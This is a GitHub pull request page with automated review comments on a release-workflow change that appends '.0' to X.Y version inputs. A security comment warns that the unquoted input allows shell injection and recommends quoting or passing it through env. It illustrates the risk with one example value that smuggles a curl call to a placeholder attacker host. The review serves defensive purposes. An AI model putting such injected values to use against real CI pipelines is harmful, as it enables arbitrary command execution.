Conversation
Code Review
|
| Auto-apply | Compact |
|
|
Was this helpful? React with 👍 / 👎 | Gitar
| - name: Update application versions | ||
| run: | | ||
| make update_all RELEASE_VERSION=${{ inputs.release_branch_name }} | ||
| RELEASE_VERSION=${{ inputs.release_branch_name }} |
There was a problem hiding this comment.
⚠️ Security: Unquoted workflow input enables shell injection
On line 26, ${{ inputs.release_branch_name }} is interpolated directly into the run: shell script without quotes. A malicious or accidental input value containing shell metacharacters (e.g., 1.5; curl attacker.com/...) would be executed as arbitrary commands. While this is a workflow_dispatch input (manually triggered), it's still a recognized GitHub Actions script injection pattern (see GitHub's security hardening guide).
The same unquoted expansion also means inputs with spaces or glob characters would cause unexpected behavior.
Suggested fix:
Quote the interpolation:
RELEASE_VERSION="${{ inputs.release_branch_name }}"
Alternatively, pass the input via an environment variable to fully avoid injection:
- name: Update application versions
env:
RELEASE_VERSION: ${{ inputs.release_branch_name }}
run: |
if [[ $RELEASE_VERSION =~ ^[0-9]+\.[0-9]+$ ]]; then
RELEASE_VERSION="${RELEASE_VERSION}.0"
echo "... appending .0: $RELEASE_VERSION"
fi
make update_all RELEASE_VERSION="$RELEASE_VERSION"
Was this helpful? React with 👍 / 👎 | Reply gitar fix to apply this suggestion
There was a problem hiding this comment.
Pull request overview
Adds logic to the release-branch creation GitHub Actions workflow so that when a release branch name is provided as a 2-part version (X.Y), the version passed to make update_all is normalized to X.Y.0.
Changes:
- Detect
X.Yrelease versions and append.0before runningmake update_all. - Add a log line to make the normalization explicit in workflow output.
| RELEASE_VERSION=${{ inputs.release_branch_name }} | ||
| if [[ $RELEASE_VERSION =~ ^[0-9]+\.[0-9]+$ ]]; then | ||
| RELEASE_VERSION="${RELEASE_VERSION}.0" | ||
| echo "Release version is in format X.Y, appending .0 to make it X.Y.0: $RELEASE_VERSION" | ||
| fi | ||
| make update_all RELEASE_VERSION=$RELEASE_VERSION |
There was a problem hiding this comment.
The workflow input is interpolated into a bash assignment unquoted (RELEASE_VERSION=${{ inputs.release_branch_name }}), which allows shell metacharacters in release_branch_name to alter the script (command injection / unexpected parsing). Pass the input via env: (or otherwise safely quote/escape it) and ensure all later expansions (including the make invocation) are quoted to avoid word-splitting or injection via $RELEASE_VERSION.
This PR will:
make update_allwith an extra.0if not provided